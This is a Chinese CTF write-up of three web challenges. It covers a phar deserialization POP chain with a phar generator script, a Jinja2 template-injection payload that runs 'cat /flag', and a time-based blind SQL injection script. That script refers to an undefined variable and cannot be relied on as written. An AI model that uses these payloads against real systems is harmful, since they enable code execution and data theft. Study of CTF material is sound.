巅峰极客2020部分wp

babyphp2

phar反序列化https://xz.aliyun.com/t/2715

开局访问/www.zip得源码,功能主要在classes.php

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?php
error_reporting(0);
session_start();
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public $backup;
    ...
}
    public function upload(){
        $uploader=new Upload();
        $uploader->upload();
    }
    public function read(){
        $reader=new reader();
        $reader->read($_POST['filename']);
    }
    public function __toString()
    {
        $this->nickname->backup=$this->backup;
        $user = new User();
        $user->id = $_SESSION['id'];
        $user->nickname = $_SESSION['token'];
        return serialize($user);
    }
}
class dbCtrl
{
    ...
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
    }
    ...
    public function __destruct(){
        echo $this->token;
    }
}

Class Upload{
    public $flag;
    public $file;
    public $ext;
    function __construct(){
        $this->flag = 1;
        $this->black_list = ['ph', 'ht', 'sh', 'pe', 'j', '=', 'co', '\\', '"', '\''];
    }
    function check(){
        $ext = substr($_FILES['file']['name'], strpos($_FILES['file']['name'], '.'));
        $reg=implode("|",$this->black_list);
        $reg = "/" . $reg . "\x|\s|[\x01-\x20]/i";
        if(preg_match($reg, $ext)){ 
            $this->flag = 0;
        }
        $this->ext = $ext;
    }
    function __wakeup(){
        $this->flag = 1;
    }
    function upload(){
        $this->file = $_FILES['file'];
        $this->check();
        if($this->flag){
            if(isset($_FILES['file'])){
                if ($_FILES["file"]["error"] > 0){
                    echo "Error: " . $_FILES["file"]["error"];
                }
                else{
                    if (file_exists("upload/" . $_FILES["file"]["name"])){
                        echo $_FILES["file"]["name"] . " already exists. ";
                    }
                    else{
                        if ($_FILES["file"]["size"] > 10240){
                            echo "too big";
                        }
                        else{
                            $new_addr = $_SERVER['DOCUMENT_ROOT'] . "/upload/" . md5($_FILES['file']['name']) . $this->ext;
                            echo $new_addr;
                            move_uploaded_file($_FILES["file"]["tmp_name"], $new_addr);
                            return $new_addr;
                        }
                    }
                }
            }
        }
        else{
            die("Noooooooooooooooooooooooooooo!");
        }
    }
}

Class Reader{
    public $filename;
    public $result;
    public function read($filename){
        if (preg_match("/flag/i",$filename)){
            die("想多了嗷");
        }
        if (preg_match("/sh/i",$filename)){
            die("nooooooooooo!");
        }
        if (preg_match("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i",$filename)){
            die("Invid Schema!");
        }
        echo file_get_contents($filename);
    }
    public function __set($name,$val){
        echo file_get_contents($val); // 读取/flag
    }
}

 ​ ​ ​ ​ ​ 结合phar反序列化利用条件:可用魔术方法作为跳板,找到__destruct、__toString、__set等魔术方法。

复习一下魔术方法的触发条件:

魔术方法 触发条件
__destruct 对象被销毁时触发
__toString 把类当作字符串使用时触发
__set 用于将数据写入不可访问的属性

通过触发条件我们就可以初步构造POP链:

 ​ ​ ​ ​ ​ dbCtrl::$token -> User::$nickname -> Reader,接着就遇到了如何触发__set的问题。如果我们直接通过Reader向一个不存在的变量赋值,如$reader->tyskill="/flag",那么生成的序列化字符串则是O:6:"dbCtrl":1:{s:5:"token";O:4:"User":2:{s:8:"nickname";N;s:6:"backup";O:6:"Reader":0:{}}}

 ​ ​ ​ ​ ​ 想象一下反序列化的过程,前面的魔术方法都成功的触发了,而到了最后一个__set的触发时由于我们构造的变量消失了,无法触发,通过file_get_contents读取/flag的目的就无法达成。因此,我们必须要借助代码中已存在的变量完成触发任务。最符合触发__set条件的格式应当是$reader->不可访问属性,即$this->nickname->backup=$this->backup;赋值过程,因为整个代码部分只有这个是一个属性指向另一个属性。这样我们就顺理成章地让nickname=new Reader();backup="/flag"

生成phar文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class dbCtrl {
    public $token;
}

class User{
    public $nickname;
    public $backup;
}

class Reader {
}

$o = new dbCtrl();
$o->token = new User();
$o->token->nickname = new Reader();
$o->token->backup = '/flag';
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub(常规格式)
/*$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub(伪造图片)*/
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

修改phar文件后缀绕过对文件后缀的过滤,上传后得到文件路径

/var/www/html/upload/ed54ee58cd01e120e27939fe4a64fa92.png

接着我们就只需要通过phar://解析phar文件完成反序列化即可。

对于头部phar字符的过滤,我们通过compress.zlib://phar://绕过即可。

compress.zlib://phar:///var/www/html/upload/ed54ee58cd01e120e27939fe4a64fa92.png

babyflask

 ​ ​ ​ ​ ​ Log in登录框处存在模板注入,直接payload获得flag。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("cat /flag").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

babyback

这道题是赛后趁环境还没关做的,之前只做到了盲注。

fuzz一下,发现过滤了' " union select ; mid - and = & like字符,联想到前两天做的\转义单引号逃逸passwd,第一感觉就是\逃逸

 ​ ​ ​ ​ ​ 本着能不注就不注的态度,找到了robots.txt,访问发现路由/admin,访问会出现弹窗Bad request,所以正常思路还是盲注得到密码再登录(PS:既然设置了robots.txt,为什么不把账号弄复杂点,admin谁都会用吧)。

这里贴下队友的脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
from urllib import parse
import time
url = 'http://eci-2zefzwp8uhdy51ow0gzy.cloudeci1.ichunqiu.com/'
flag = ''
while True:
    head = 1
    tail = 127
    mid = (head+tail)//2
    while head < tail:
        mid = (head+tail)//2
        if mid == 92:
            head += 1
            continue
        data = {"username": "\\",
                "password": "||if(ord(substr(password,{0},1))>{1},sleep(2),1)#".format(str(count), str(mid))
                }
        start = time.time()
        print(data['password'])
        r = requests.post(url=url, data=data)
        end = time.time()
        if end - start > 2:
            head = mid+1
        else:
            tail = mid
    flag += chr(head)
    print(flag)

注入得到password--uAreRigHt,admin/uAreRigHt登录,接下来闭合尖括号命令执行读取flag。